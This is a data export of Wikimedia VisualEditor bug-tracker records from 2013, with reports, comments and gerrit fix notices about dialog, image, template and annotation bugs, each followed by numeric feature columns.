252350,VisualEditor: Image dialog shows <visualeditor-dialog-media-content-section> instead of actual message,Fixed by gerrit 69497 which we will try to get pushed today.,,,1371657503,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n7i2eetsofstfrmijiw5,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.769230769230769,1.0,Fixed by gerrit 69497 which we will try to get pushed today.
51809,VisualEditor: Pressing escape should close a dialog,"Like we do with the link inspector.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1371644280,1372378620.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-ovbuk7vqve57dhhhvnh7,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.076923076923077,0.6538461538461539,"Like we do with the link inspector.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
251812,VisualEditor: Pressing escape should close a dialog,This fix will be pushed to production later this afternoon; closing as such.,,,1372378620,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ovbuk7vqve57dhhhvnh7,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.266666666666667,1.0,This fix will be pushed to production later this afternoon; closing as such.
251805,VisualEditor: Pressing escape should close a dialog,"Change 70946 merged by jenkins-bot:
Close dialogs on escape

https://gerrit.wikimedia.org/r/70946",,,1372378238,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ovbuk7vqve57dhhhvnh7,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.266666666666667,1.0,"Change 70946 merged by jenkins-bot:
Close dialogs on escape

GERRIT_URL"
251797,VisualEditor: Pressing escape should close a dialog,"Change 70946 had a related patch set uploaded by Trevor Parscal:
Close dialogs on escape

https://gerrit.wikimedia.org/r/70946",,,1372377665,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ovbuk7vqve57dhhhvnh7,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.578947368421052,1.0,"Change 70946 had a related patch set uploaded by Trevor Parscal:
Close dialogs on escape

GERRIT_URL"
51807,VisualEditor: Image corruption edits - garbled text inserted into image description,"See, for example, http://en.wikipedia.org/w/index.php?title=Audie_Murphy&diff=560382883&oldid=560374610 - the line ""ad a private-pilot license and"" (image description) is clearly being taken from the article text ""had a private-pilot license and a reported 8, 000 hours of flying time"", but I have no idea how.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371640500,1372016417.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-rjfwlifxsqzej72hvwal,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,3.0,7.0,1.0,4.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,4.0,0.0,0.0,5.0,0.0,1.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,3.5135135135135136,0.6756756756756757,"See, for example, URL - the line ""ad a private-pilot license and"" (image description) is clearly being taken from the article text ""had a private-pilot license and a reported 8, 000 hours of flying time"", but I have no idea how.

--------------------------
**Version**: unspecified
**Severity**: normal"
251684,VisualEditor: Image corruption edits - garbled text inserted into image description,These were fixed by Inez's new code from Thursday.,,,1372016417,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rjfwlifxsqzej72hvwal,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,1.0,These were fixed by Inez's new code from Thursday.
251681,VisualEditor: Image corruption edits - garbled text inserted into image description,"**molly.white5** wrote:

A user just came to IRC asking about this same issue. The user had made this edit: http://en.wikipedia.org/w/index.php?title=Harry_Belafonte&diff=560738876&oldid=560738222

The user had only intended to make the changes that appear between lines 98 and 108; all of the other changes appear to be a product of this bug.

The same issue occurred for the user in http://en.wikipedia.org/w/index.php?title=Harry_Belafonte&diff=560737462&oldid=560717280.",,,1371737760,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-rjfwlifxsqzej72hvwal,task_subcomment,,True,c1,2,False,,,-2,,1.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,23.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,11.0,1.0,10.0,0.0,1.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.557142857142857,0.6428571428571429,"**molly.white5** wrote:

A user just came to IRC asking about this same issue. The user had made this edit: URL

The user had only intended to make the changes that appear between lines 98 and 108; all of the other changes appear to be a product of this bug.

The same issue occurred for the user in URL"
51797,VisualEditor: Some template dialog loading attempts fail with 'TypeError',"Steps to reproduce:

1) Visit https://en.wikipedia.org/wiki/Deliciosamente_amoral?veaction=edit

2) Attempt to manipulate the contents of the infobox by clicking the puzzle piece icon associated with it.

Expected behavior:

Infobox parameters should be editable.

Actual behavior:

Template editor invocation fails with the following error on the console:

Uncaught TypeError: Cannot read property 'description' of undefined 

Chrome/Ubuntu

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49493",High,80.0,1371614460,1371748994.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-ic77u5udy3nvxbsnznrc,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,1.0,4.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,0.5,5.0,5.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,4.10369532428356,0.6498868778280543,"Steps to reproduce:

1) Visit URL

2) Attempt to manipulate the contents of the infobox by clicking the puzzle piece icon associated with it.

Expected behavior:

Infobox parameters should be editable.

Actual behavior:

Template editor invocation fails with the following error on the console:

Uncaught TypeError: Cannot read property 'description' of undefined 

Chrome/Ubuntu

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
250889,VisualEditor: Some template dialog loading attempts fail with 'TypeError',"Yes, this is a dupe of bug 49493; sorry!

*** This bug has been marked as a duplicate of bug 49493 ***",,,1371748994,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ic77u5udy3nvxbsnznrc,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.7333333333333334,0.6666666666666666,"Yes, this is a dupe of bug 49493; sorry!

*** This bug has been marked as a duplicate of bug 49493 ***"
250879,VisualEditor: Some template dialog loading attempts fail with 'TypeError',"This might be linked to bug 49493 - Timo, any quick thoughts?",,,1371614781,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ic77u5udy3nvxbsnznrc,task_subcomment,,True,c1,2,True,,,-2,,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,"This might be linked to bug 49493 - Timo, any quick thoughts?"
51781,VisualEditor: Inspector menu appears with blank entry in Firefox,"Example screenshot of the issue

In the given link, for reference 7's template; only in Firefox - works fine in Chrome.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://www.mediawiki.org/w/index.php?title=VisualEditor:TestReferenceContents&oldid=713075

**Attached**: {F11716}",High,80.0,1371594720,1372190121.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-xu4scnfjjp674hs6ehjl,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.338709677419355,0.5967741935483871,"Example screenshot of the issue

In the given link, for reference 7's template; only in Firefox - works fine in Chrome.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL

**Attached**: {F11716}"
249897,VisualEditor: Inspector menu appears with blank entry in Firefox,Patched and merged: https://gerrit.wikimedia.org/r/#/c/70119/,,,1372190121,,PHID-USER-pun3sjvg3cemjzbgyo2t,True,,,PHID-TASK-xu4scnfjjp674hs6ehjl,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Patched and merged: URL
51760,VisualEditor: Pawn appears when Cmd-C over a selected inline image in Firefox,"https://en.wikipedia.org/wiki/List_of_highways_numbered_147?veaction=edit

I selected an inline image in the editor (in itself strange, because it doesn't seem you can edit it). I then hit cmd-c, and the inline image was replaced by the pawn char.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371579000,1371680649.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-eiikdpgxia5svismvu44,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,2.0,2.0,8.0,0.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,8.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,6.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.5,0.6935483870967742,"URL

I selected an inline image in the editor (in itself strange, because it doesn't seem you can edit it). I then hit cmd-c, and the inline image was replaced by the pawn char.

--------------------------
**Version**: unspecified
**Severity**: normal"
248803,VisualEditor: Pawn appears when Cmd-C over a selected inline image in Firefox,Fixed (I think) in gerrit 69503 which we will deploy this afternoon.,,,1371680649,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eiikdpgxia5svismvu44,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,Fixed (I think) in gerrit 69503 which we will deploy this afternoon.
248798,VisualEditor: Pawn appears when Cmd-C over a selected inline image in Firefox,"Actually, Safari 6 for me.",,,1371649398,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-eiikdpgxia5svismvu44,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,14.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.142857142857143,1.0,"Actually, Safari 6 for me."
248793,VisualEditor: Pawn appears when Cmd-C over a selected inline image in Firefox,"Yet again, a Firefox bug. *sighs*

(Editing images will be possible very very soon. :-))",,,1371580229,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eiikdpgxia5svismvu44,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,9.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.409090909090909,0.8636363636363636,"Yet again, a Firefox bug. *sighs*

(Editing images will be possible very very soon. :-))"
51755,"VisualEditor: Nested identical annotations can be additive, not just identical","<b><b>Foo</b></b> == <b>Foo</b> so it's not /so/ bad if VE corrects it (but it's still a bit dirty, but <small><small>Foo</small></small> != <small>Foo</small> (and the same with <big> and <sup> and …)

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: https://en.wikipedia.org/w/index.php?title=User:JohnCD/draft&diff=560430675&oldid=560430611",High,80.0,1371574560,1373503078.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,2.0,6.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,21.0,2.988235294117647,0.5411764705882353,"<b><b>Foo</b></b> == <b>Foo</b> so it's not /so/ bad if VE corrects it (but it's still a bit dirty, but <small><small>Foo</small></small> != <small>Foo</small> (and the same with <big> and <sup> and …)

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: URL"
248480,"VisualEditor: Nested identical annotations can be additive, not just identical",Now fixed.,,,1373503078,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Now fixed.
248473,"VisualEditor: Nested identical annotations can be additive, not just identical",Fixed on the VisualEditor side; the Parsoid upstream issue in Domino is patched but not yet released. Not marking as fixed until that's done.,,,1373318742,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,18.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.214285714285714,0.9285714285714286,Fixed on the VisualEditor side; the Parsoid upstream issue in Domino is patched but not yet released. Not marking as fixed until that's done.
248467,"VisualEditor: Nested identical annotations can be additive, not just identical","Change 72133 merged by jenkins-bot:
Make all annotations additive

https://gerrit.wikimedia.org/r/72133",,,1373313118,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,False,,,1,,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Change 72133 merged by jenkins-bot:
Make all annotations additive

GERRIT_URL"
248462,"VisualEditor: Nested identical annotations can be additive, not just identical","Change 72133 had a related patch set uploaded by Esanders:
Make all annotations additive

https://gerrit.wikimedia.org/r/72133",,,1373055582,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,False,,,0,,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,1.0,"Change 72133 had a related patch set uploaded by Esanders:
Make all annotations additive

GERRIT_URL"
248454,"VisualEditor: Nested identical annotations can be additive, not just identical","(In reply to comment #4)
> The fix sets big/small/sup/sub to be additive.
> 
> Arguably we should make all annotations additive, as you could add
> 'style=""font-size:110%""' to anything, although I haven't thought through how
> this might affect the toolbar interactions yet.

+1. This will also avoid dirty diffs on such content.",,,1372801723,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-fox5cuz5lkwl5eb3gxrd,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,10.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.096774193548387,0.7096774193548387,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

+1. This will also avoid dirty diffs on such content."
248448,"VisualEditor: Nested identical annotations can be additive, not just identical","Change 71716 merged by jenkins-bot:
Allow annotations to be additive

